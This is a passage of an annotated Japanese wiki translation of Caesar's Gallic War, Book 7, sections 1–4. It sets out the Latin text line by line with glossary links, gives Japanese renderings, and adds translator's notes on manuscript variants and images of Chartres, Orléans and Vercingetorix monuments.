**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;P.&amp;gt; ([[wikt:en:Publius#Latin|Publii]]) 「プーブリウスの」は &amp;rho;系写本にのみ記されている。）&lt;/span&gt;
*&amp;lt;de&amp;gt; &lt;u&gt;senatus&lt;/u&gt;que &lt;u&gt;consulto&lt;/u&gt; [[wikt:en:certior#Latin|certior]] [[wikt:en:factus#Participle|factus]], ut omnes [[wikt:en:iunior#Latin|iuniores]] Italiae [[wikt:en:coniurarent|coniurarent]], 
**イタリアの全青年に&lt;small&gt;（新兵として）&lt;/small&gt;宣誓するようにとの元老院決議について知らされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この事態を収拾すべく元老院派の[[w:グナエウス・ポンペイウス|ポンペイウス]]が単独の執政官&lt;br&gt;　　　　（''[[w:de:Consul sine collega|consul sine collega]]''）に選任されて本土イタリアを掌握した。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;de&amp;gt; は現存する写本にはなく、近世以降に挿入提案されたもの。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;nbsp;　[[wikt:en:senatus_consultum#Latin|senātūs cōnsultum]] ([[wikt:en:ultimus#Latin|ultimum]]) 「[[w:セナトゥス・コンスルトゥム・ウルティムム|元老院(の最終)決議]]」&lt;br&gt;　　　； dē [[wikt:en:senatus_consulto#Latin|senātūs cōnsultō]] 「元老院決議について」）&lt;/span&gt;
*&lt;u&gt;dilectum&lt;/u&gt; [[wikt:en:totus#Latin|tota]] [[wikt:en:provincia#Latin|provincia]] habere [[wikt:en:instituo#Latin|instituit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;属州&lt;small&gt;〔ガッリア・キサルピーナ〕&lt;/small&gt;全体での徴集をすることを決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:dilectus#Noun|dilectum]] は、[[wikt:en:delectus#Noun_2|delectum]] と表記している校訂版もある。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eae res in Galliam [[wikt:en:transalpinus#Latin|Transalpinam]] celeriter [[wikt:en:perferuntur|perferuntur]]. 
**その状況は、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に速やかに報知された。
:　
*[[wikt:en:addunt|Addunt]] ipsi et [[wikt:en:adfingunt|adfingunt]] [[wikt:en:rumor#Latin|rumoribus]] [[wikt:en:Galli#Latin|Galli]], 
**[[w:ガリア人|ガッリア人]]たち自身が風評に想像して付け加えたのは、
*quod res [[wikt:en:poscere|poscere]] [[wikt:en:videbatur|videbatur]]: 
**事態が要求すると思われていたことで、
*[[wikt:en:retineri|retineri]] &lt;u&gt;urbano&lt;/u&gt; [[wikt:en:motus#Noun_2|motu]] Caesarem 
**カエサルは、都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の騒乱に束縛されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:urbanus#Adjective|urbānus]] は「都市の」「都会の」と訳されるが、&lt;br&gt;　　　　とりわけ「首都[[w:ローマ|ローマ市]]の」を意味する。）&lt;/span&gt;
*neque in [[wikt:en:tantus#Latin|tantis]] [[wikt:en:dissensio#Latin|dissensionibus]] ad [[wikt:en:exercitus#Noun|exercitum]] venire posse. 
**これほどの対立においては、軍隊のもとへ来ることができない、&lt;br&gt;ということである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hac [[wikt:en:impulsus#Participle|impulsi]] [[wikt:en:occasio#Latin|occasione]], 
**このような好機に刺激されて、
*qui iam ante se [[wikt:en:populus#Noun|populi]] Romani [[wikt:en:imperium#Latin|imperio]] [[wikt:en:subiectus#Latin|subiectos]] [[wikt:en:dolerent|dolerent]], 
**すでに以前から自分たちがローマ国民の支配に服属させられているのを悲嘆している者たちは、
*[[wikt:en:libere#Adverb_2|liberius]] atque [[wikt:en:audacter#Latin|audacius]] de bello [[wikt:en:consilium#Latin|consilia]] [[wikt:en:inire|inire]] [[wikt:en:incipiunt|incipiunt]]. 
**より自由に、かつ、より向こう見ずに、戦争について謀議に取りかかり始める。
:　
[[画像:Brennus_mg_9724.jpg|thumb|right|250px|[[w:ブレンヌス|ブレンヌス]]の胸像。BC4世紀（[[w:紀元前387年|387年]]）に、ローマ軍を破って、ローマ市を占領した。アッコーと同じセノネース族の族長だったとされている。]]
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indictus#Latin|Indictis]] inter se principes Galliae [[wikt:en:concilium#Latin|conciliis]] [[wikt:en:silvestris#Latin|silvestribus]] ac [[wikt:en:remotus#Latin|remotis]] locis 
**ガッリアの領袖たちは、森林や人里離れた場所での会合を互いに申し合わせて、
*[[wikt:en:queruntur|queruntur]] de [[wikt:en:Acco#Latin|Acconis]] [[wikt:en:mors#Latin|morte]]; 
**アッコーの死について嘆く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[ガリア戦記 第6巻#44節|第6巻44節]]を参照。）&lt;/span&gt;
*&lt;u&gt;posse&lt;/u&gt; hunc [[wikt:en:casus#Latin|casum]] ad ipsos [[wikt:en:recidere#Verb_4|recidere]] [[wikt:en:demonstrant#Latin|demonstrant]]; 
**彼&lt;small&gt;〔アッコー〕&lt;/small&gt;の結末が彼ら自身へ降りかかりうることを説く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:posse#Verb|posse]] の位置は、&lt;br&gt;　　　　&amp;alpha;系写本では hunc の前だが、&lt;br&gt;　　　　&amp;beta;系写本では hunc casum ad ipsos  recidere &lt;u&gt;posse&lt;/u&gt; demonstrant &lt;br&gt;　　　　となっている。）&lt;/span&gt;
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt;  [[wikt:en:miserantur|miserantur]] [[wikt:en:communis#Latin|communem]] Galliae [[wikt:en:fortuna#Latin|fortunam]]; 
**ガッリア共通の境遇をあわれむ。
*omnibus [[wikt:en:pollicitatio#Latin|pollicitationibus]] ac [[wikt:en:praemium#Latin|praemiis]] [[wikt:en:deposcunt|deposcunt]] 
**&lt;small&gt;（以下の者たちを）&lt;/small&gt;あらゆる約束と恩賞によって求める。
*qui [[wikt:en:bellum#Latin|belli]] &lt;u&gt;initia&lt;/u&gt; [[wikt:en:faciant|faciant]] et sui [[wikt:en:caput#Latin|capitis]] [[wikt:en:periculum#Latin|periculo]] Galliam in [[wikt:en:libertas#Latin|libertatem]] [[wikt:en:vindicent|vindicent]]. 
**戦端を開いて、自らを危険にさらしても、ガッリアを解放する者たちを。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ in libertatem vindicare；～を解放する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:initia#Latin|initia]] (複数形) だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:initium#Latin|initium]] (単数形) となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; In primis [[wikt:en:ratio#Latin|rationem]] esse [[wikt:en:habendus#Latin|habendam]] [[wikt:en:dicunt|dicunt]], 
**とりわけ、&lt;small&gt;（以下のような）&lt;/small&gt;方策を採るべきであると述べる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_primis#Latin|in primis]] は、[[wikt:en:inprimis#Adverb|
inprimis]] と表記している校訂版もある。）&lt;/span&gt;
*[[wikt:en:priusquam#Latin|prius quam]] eorum [[wikt:en:clandestinus#Latin|clandestina]] consilia [[wikt:en:efferantur|efferantur]], 
**彼らの秘密の計画が漏らされるより前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：反ローマの挙兵のはかりごとが漏れる前に）&lt;/span&gt;
*ut Caesar ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:intercludatur|intercludatur]]. 
**カエサルが軍隊から切り離されるように、と。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Id esse [[wikt:en:facilis#Latin|facile]], 
**それは容易なことである。
*quod neque legiones [[wikt:en:audeant|audeant]] [[wikt:en:absens#Latin|absente]] [[wikt:en:imperator#Latin|imperatore]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:egredi|egredi]], 
**というのは、[[w:ローマ軍団|諸軍団]]は将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のときにあえて冬営から出て行こうとはしないし、
*neque [[wikt:en:imperator#Latin|imperator]] sine [[wikt:en:praesidium#Latin|praesidio]] ad legiones [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:possit|possit]]. 
**将軍は護衛なしに諸軍団のところへ到着することはできないのだから。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:postremo#Adverb|Postremo]] in [[wikt:en:acies#Latin|acie]] &lt;u&gt;praestare&lt;/u&gt; [[wikt:en:interfici|interfici]], 
**結局のところ、戦列において討ち死にする方がましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:vetus#Latin|veterem]] belli [[wikt:en:gloria#Latin|gloriam]] [[wikt:en:libertas#Latin|libertatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; quam a [[wikt:en:maior#Noun|maioribus]] [[wikt:en:acceperint|acceperint]], [[wikt:en:recuperare#Latin|recuperare]].
**先祖から受け継いだかつての戦争の栄誉および自由を取り戻さないことよりは。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===2節===
[[画像:Chartres_1.jpg|thumb|right|320px|カルヌーテース族（[[w:la:Carnutes|Carnutes]]）の名を残す現在の[[w:シャルトル|シャルトル]]（[[w:en:Chartres|Chartres]]）の象徴である[[w:シャルトル大聖堂|シャルトル大聖堂]]（[[w:世界遺産|世界遺産]]）。[[ガリア戦記 第6巻#13節|第6巻13節]]⑩項で既述のように、カルヌーテース族の土地はガッリアの中心・聖地と見なされていた。ガッリアがキリスト教化されると、[[w:司教|司教座]]が置かれて、宗教的中心地となった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/2節]]　{{進捗|00%|2025-11-05}}&lt;/span&gt;
;ガッリア諸部族の会合で、カルヌーテース族が開戦動議
:　　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:agitatus#Latin|agitatis]], 
**これらの事柄が論議されて、
*[[wikt:en:profiteor#Latin|profitentur]] [[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族の者が公言したことには、
*se [[wikt:en:nullus#Determiner|nullum]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:recusare#Latin|recusare]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全のためにはいかなる危険をも辞さない、
*[[wikt:en:princeps#Latin|principes]]&lt;nowiki&gt;que&lt;/nowiki&gt; ex omnibus bellum [[wikt:en:facturus#Latin|facturos]] [[wikt:en:pollicentur|pollicentur]]; 
**かつ&lt;small&gt;（ガッリア方）&lt;/small&gt;総勢の先鋒として戦争を遂行するであろうと約束する。
:　　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, [[wikt:en:quoniam#Latin|quoniam]] in [[wikt:en:praesentia#Noun|praesentia]] [[wikt:en:obses#Latin|obsidibus]] [[wikt:en:cavere#Verb_2|cavere]] inter se non [[wikt:en:possint|possint]], 
**目下のところ、人質により互いに保証し合うことはできなかったので、
*ne res [[wikt:en:efferatur|efferatur]], 
**事が漏らされないように、
*&lt;u&gt;ut&lt;/u&gt; [[wikt:en:ius_iurandum#Latin|iure iurando]] ac [[wikt:en:fides#Latin|fide]] [[wikt:en:sanciatur|sanciatur]], [[wikt:en:petunt|petunt]], 
**誓約と信義でもって批准するように求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本ST&lt;sup&gt;c&lt;/sup&gt; では ut だが、&lt;br&gt;　　　　　　　　　写本 T&lt;sup&gt;1&lt;/sup&gt;･&amp;rho;系では at 、&lt;br&gt;　　　　　　　　　写本BMLNV･&amp;chi;系では aut となっている。）&lt;/span&gt;
*[[wikt:en:conlatus#Latin|conlatis]] [[wikt:en:militaris#Adjective|militaribus]] [[wikt:en:signum#Latin|signis]], 
**軍旗が運び集められて、
*[[wikt:en:quo#Etymology_2_2|quo]] [[wikt:en:mos#Latin|more]] eorum [[wikt:en:gravissimus#Latin|gravissima]] [[wikt:en:caerimonia#Latin|caerimonia]] [[wikt:en:continetur|continetur]], 
**それは彼らの慣習で最も荘重な&lt;ruby&gt;&lt;rb&gt;神聖儀式&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;カエリモーニア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として保たれているのだが、
*ne [[wikt:en:factus#Latin|facto]] [[wikt:en:initium#Latin|initio]] belli ab reliquis [[wikt:en:deserantur|deserantur]]. 
**開戦したら、ほかの&lt;small&gt;（部族の）&lt;/small&gt;者たちから見放されないように、ということである。
:　&lt;!--　[[wikt:en:|　--&gt;　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Tum [[wikt:en:conlaudatus#Latin|conlaudatis]] [[wikt:en:Carnutes#Latin|Carnutibus]], 
**それから、カルヌーテース族が賞賛されて、
*[[wikt:en:datus#Participle|dato]] [[wikt:en:ius_iurandum#Latin|iure iurando]] ab omnibus, qui [[wikt:en:aderant|aderant]], 
**訪れていたすべての者たちによって誓約が交わされて、
*[[wikt:en:tempus#Latin|tempore]] eius rei [[wikt:en:constitutus#Participle|constituto]] 
**その事の時期を決定すると、
*ab [[wikt:en:concilium#Latin|concilio]] [[wikt:en:disceditur|disceditur]].
**&lt;small&gt;（ガッリアの領袖たちは）&lt;/small&gt;会合から立ち去る。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===3節===
[[画像:Cathédrale_Sainte-Croix_d'Orléans_2008_PD_16.JPG|thumb|right|280px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]の聖十字架大聖堂。ここもカルヌーテース族の[[w:オッピドゥム|城塞都市]]で、ガッリアの[[w:ドルイド|ドルイド]]たちが集まる聖地だったという。ローマの[[w:ルキウス・ドミティウス・アウレリアヌス|アウレリアヌス帝]]（Aurelianus）によって再建されたのでアウレリアヌスの都市（アウレリアヌム [[w:la:Aurelianum|Aurelianum]]）と改称され、オルレアン（Orléans）と転訛した。キリスト教化によってここにも[[w:司教|司教座]]が置かれて、布教の中心地になった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/3節]]　{{進捗|00%|2025-11-17}}&lt;/span&gt;
;カルヌーテース族がケナブム進駐
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] ea dies venit, 
**その日が来ると、
*[[wikt:en:Carnutes#Latin|Carnutes]], 
**カルヌーテース族は、
*Cotuato et Conconnetodumno [[wikt:en:dux#Latin|ducibus]], [[wikt:en:desperatus#Latin|desperatis]] hominibus, 
**捨て身覚悟の連中であるコトゥアトゥスとコンコンネトドゥムヌスを指導者として、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語では、&lt;br&gt;　　　　　コトゥアトス ''[[w:fr:Cotuatos|Cotuatos]]''、&lt;br&gt;　　　　　コンコンネトドゥムノス ''[[w:fr:Conconnetodumnos|Conconnetodumnos]]''。）&lt;/span&gt;
*&lt;u&gt;Cenabum&lt;/u&gt; [[wikt:en:signum#Latin|signo]] [[wikt:en:datus#Participle|dato]] [[wikt:en:concurrunt|concurrunt]] 
**号令が発せられるとともに&lt;u&gt;ケナブム&lt;/u&gt;に襲来する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブムは、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:fr:Cenabum|Cenabum]] はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　写本では genabim, genebim, genebin などとなっている。&lt;br&gt;　　　　　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;

*[[wikt:en:civis#Latin|cives]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Romanus#Adjective|Romanos]], qui [[wikt:en:negotiandi|negotiandi]] causa [[wikt:en:ibi#Latin|ibi]] [[wikt:en:constiterant|constiterant]], 
**そこには、商いを営むためにローマ市民たちが滞在していて、
*in his [[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Fufius#Latin|Fufium]] Citam, [[wikt:en:honestus#Latin|honestum]] [[wikt:en:eques#Latin|equitem]] [[wikt:en:Romanus#Adjective|Romanum]], 
**彼らの中には、気高いローマ人[[w:エクィテス|騎士]]ガーイウス・フーフィウス・キタがいて
*qui rei [[wikt:en:frumentarius#Latin|frumentariae]] [[wikt:en:iussus#Noun|iussu]] Caesaris [[wikt:en:praeerat|praeerat]], 
**カエサルの指図により糧秣調達を統率していたが、
*[[wikt:en:interficiunt|interficiunt]] [[wikt:en:bonum#Noun_2|bona]]&lt;nowiki&gt;que&lt;/nowiki&gt; eorum [[wikt:en:diripiunt|diripiunt]]. 
**&lt;small&gt;（カルヌーテース勢は彼らローマ市民たちを）&lt;/small&gt;殺害して、彼らの財産を略奪する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Celeriter ad omnes Galliae [[wikt:en:civitas#Latin|civitates]] [[wikt:en:fama#Latin|fama]] [[wikt:en:perfertur|perfertur]]. 
**速やかに全ガッリア部族のもとへ、評判が報知される。
*Nam, &lt;u&gt;ubique&lt;/u&gt; [[wikt:en:maior#Latin|maior]] atque [[wikt:en:inlustrior|inlustrior]] [[wikt:en:incidit#Etymology_1|incidit]] res, 
**なぜなら、より重大でより目立った事態が起こればどこであろうが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; の大半では [[wikt:en:ubique#Latin|ubique]] だが、写本STでは [[wikt:en:ubi#Latin|ubi]] 、&lt;br&gt;　　　　　　　　　さらに [[wikt:en:ubicumque#Latin|ubicumque]] という異読もあり、&lt;br&gt;　　　　　　　　　&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Schneider,K.E.Chr.|Chr. Schneider]]'' は ubi quae と修正提案している。）&lt;/span&gt;
*[[wikt:en:clamor#Latin|clamore]] per [[wikt:en:ager#Latin|agros]] [[wikt:en:regio#Latin|regiones]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:significant#Latin|significant]]; 
**耕地や&lt;small&gt;（集落の）&lt;/small&gt;区域を介して、大声で呼びかける。
*&lt;u&gt;hinc&lt;/u&gt; [[wikt:en:alius#Latin|alii]] [[wikt:en:deinceps#Latin|deinceps]] [[wikt:en:excipiunt|excipiunt]] 
**ここから、別の者たちが続けて引き受けて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の大半では [[wikt:en:hanc#Latin|hanc]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:hinc#Latin|hinc]] 「ここから」、&lt;br&gt;　　　　　　　　　写本Sでは [[wikt:en:hunc|hunc]] となっている。）&lt;/span&gt;
*et [[wikt:en:proximus#Noun|proximis]] [[wikt:en:tradunt|tradunt]]; 
**近隣の者たちへ伝える。
*ut tum [[wikt:en:accidit#Etymology_1|accidit]]. 
**そのときにも&lt;small&gt;（同様のことが）&lt;/small&gt;起こったのである。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, quae &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:oriens#Latin|oriente]] [[wikt:en:sol#Latin|sole]] gesta essent, 
**ケナブムで日が昇るときになされていたこと&lt;small&gt;〔襲撃〕&lt;/small&gt;が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：Cenabi はケルト語風の読みで、''[[ガリア戦記/注解編/写本と校訂版#Vossius|Vossius]]'' による修正提案。&lt;br&gt;　　　　　主要写本&amp;omega; では genabi となっている。　⇒ [[wikt:en:Genabum#Latin|Genabum]]）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:gestus#Latin|gesta]] [[wikt:en:essent#Etymology_1|essent]] は [[wikt:en:gero#Latin|gerō]] の3人称･複数･過去完了･受動･接続法。）&lt;/span&gt;
*ante [[wikt:en:primus#Latin|primam]] [[wikt:en:confectus#Latin|confectam]] [[wikt:en:vigilia#Latin|vigiliam]] 
**第一夜警時の終わる前頃には
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第一夜警時は、日の入から真夜中までの時間帯の前半「宵の口」。&lt;br&gt;　　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*in finibus [[wikt:en:Arverni#Latin|Arvernorum]] audita sunt, 
**アルウェルニー族の領土において聞かれた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:auditus#Latin|audita]] [[wikt:en:sunt#Latin|sunt]] は [[wikt:en:audio#Latin|audiō]] の3人称･複数･完了･受動･直説法）&lt;/span&gt;
*[[wikt:en:qui#Latin|quod]] [[wikt:en:spatium#Latin|spatium]] est [[wikt:en:mille#Latin|milium]] [[wikt:en:passus#Etymology_2|passuum]] circiter [[wikt:en:centum#Latin|centum]] [[wikt:en:sexaginta#Latin|sexaginta]](CLX).
**約160ローママイルもの隔たりがあったのに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、160マイルは約240 km）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
==ウェルキンゲトリークスとガッリア同盟軍の蜂起==
===4節===
[[画像:Vercingetorix stater CdM.jpg|thumb|right|200px|“&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;(VERCIN)GETORIXS&lt;/span&gt;”の名と横顔が刻まれた金貨。]]
[[画像:Vercingétorix_par_Millet.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（フランスのアリーズ＝サント＝レーヌ &lt;small&gt;[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]&lt;/small&gt;）。&lt;br&gt;近代[[w:ナショナリズム|ナショナリズム]]の高揚とともに[[w:フランス|フランス]]国民が自らを古代[[w:ガリア人|ガッリア人]]の末裔と見なすようになると（[[w:ガリア起源説|ガッリア起源説]]）、ガッリア諸部族を率いて[[w:古代ローマ|古代ローマ]]と戦った彼は「'''フランス最初の英雄'''」として祀り上げられた。[[w:フランス第二帝政|第二帝政]]期に皇帝[[w:ナポレオン3世|ナポレオン3世]]の命により[[w:アレシアの戦い|アレスィア古戦場]]の発掘調査が実施され、[[w:1865年|1865年]]にはその地に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）による高さ7メートルの銅像が建立された。&lt;br&gt;（[[w:fr:Vercingétorix_(statue_d'Aimé_Millet)|fr:La statue de Vercingétorix]]）]]
[[画像:Statue-vercingetorix-jaude-clermont.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の騎馬像([[w:fr:Statue équestre de Vercingétorix (Frédéric Auguste Bartholdi)|fr]])。彼の出身地ゲルゴウィアの近く、[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]中央広場に建つ。[[w:1903年|1903年]]に、[[w:自由の女神像 (ニューヨーク)|自由の女神像]]の作者として著名な彫刻家[[w:フレデリク・バルトルディ|フレデリク・オーギュスト・バルトルディ]]によって建立された。[[w:フランス語|フランス語]]で「我は皆の自由のために武器を取った」« J’ai pris les armes pour la liberté de tous » と刻まれている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/4節]]　{{進捗|00%|2025-11-24}}&lt;/span&gt;
;アルウェルニー族のウェルキンゲトリークスが挙兵、ガッリア諸部族同盟軍を指揮する
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:similis#Latin|Simili]] [[wikt:en:ratio#Latin|ratione]] ibi 
**そこ&lt;small&gt;〔アルウェルニー族領〕&lt;/small&gt;でも同様のやり方によって、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]という、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語 [[wikt:en:Reconstruction:Gaulish/Werkingetorix|*Werkingetorīx]] は「戦士たちの最高の王」という意味で、&lt;br&gt;　　　　　ガッリア同盟軍の最高司令官にふさわしい呼び名である。&lt;br&gt;　　　　　《[[ガリア戦記/ガリア語の名前#Vercingetorix|'''ガリア語の名前'''#Vercingetorix]]》 を参照せよ。）&lt;/span&gt;
*[[wikt:fr:Celtillus|Celtilli]] filius, [[wikt:en:Arvernus#Latin|Arvernus]], 
**ケルティッルスの息子で[[w:アルウェルニ族|アルウェルニー族]]の者で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:en:Celtillus|Celtillus]]'' はガリア語で「小さなケルト人」という意味だと解される。）&lt;/span&gt;
*[[wikt:en:summus#Adjective|summae]] [[wikt:en:potentia#Latin|potentiae]] [[wikt:en:adulescens#Noun|adulescens]], 
**最高の影響力のある青年が、
*cuius [[wikt:en:pater#Latin|pater]] [[wikt:en:principatus#Latin|principatum]] Galliae [[wikt:en:totus#Etymology_1|totius]] [[wikt:en:obtinuerat|obtinuerat]] 
**──その父&lt;small&gt;〔ケルティッルス〕&lt;/small&gt;はガッリア全体の主導権を占めていたが、
*et ob eam causam, quod [[wikt:en:regnum#Latin|regnum]] [[wikt:en:adpetebat|adpetebat]], ab [[wikt:en:civitas#Latin|civitate]] erat [[wikt:en:interfectus#Latin|interfectus]], 
**王位を求めたという理由により、部族の者によって誅殺されていたのであるが、──
*[[wikt:en:convocatus#Latin|convocatis]] suis [[wikt:en:cliens#Latin|clientibus]] 
**自らの庇護者たちを招集して、
*facile [[wikt:en:incendit|incendit]]. 
**容易に焚き付けた。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:cognitus#Participle|Cognito]] eius [[wikt:en:consilium#Latin|consilio]] 
**彼の計画を知ると、
*ad [[wikt:en:arma#Latin|arma]] [[wikt:en:concurritur|concurritur]]. 
**&lt;small&gt;（人々は）&lt;/small&gt;武器のもとへ群がり集まった。
*[[wikt:en:prohibetur|Prohibetur]] ab [[wikt:fr:Gobannitio|Gobannitione]], [[wikt:en:patruus#Latin|patruo]] suo, [[wikt:en:reliquus#Latin|reliquis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:princeps#Noun_3|principibus]], 
**彼の&lt;small&gt;（父方の）&lt;/small&gt;おじゴバンニティオやほかの領袖たちにより妨げられた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Gobannitio|Gobannitio]]'' は「鍛冶屋」か「鍛冶の神」に由来する名前と解される。）&lt;/span&gt;
*qui hanc [[wikt:en:temptandus#Latin|temptandam]] [[wikt:en:fortuna#Latin|fortunam]] non [[wikt:en:existimabant|existimabant]]; 
**その者たちは、このような運命を試すべきとは考えていなかったのだ。
*[[wikt:en:expellitur|expellitur]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:Gergovia#Latin|Gergovia]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;城塞都市ゲルゴウィアから追放される。
:　
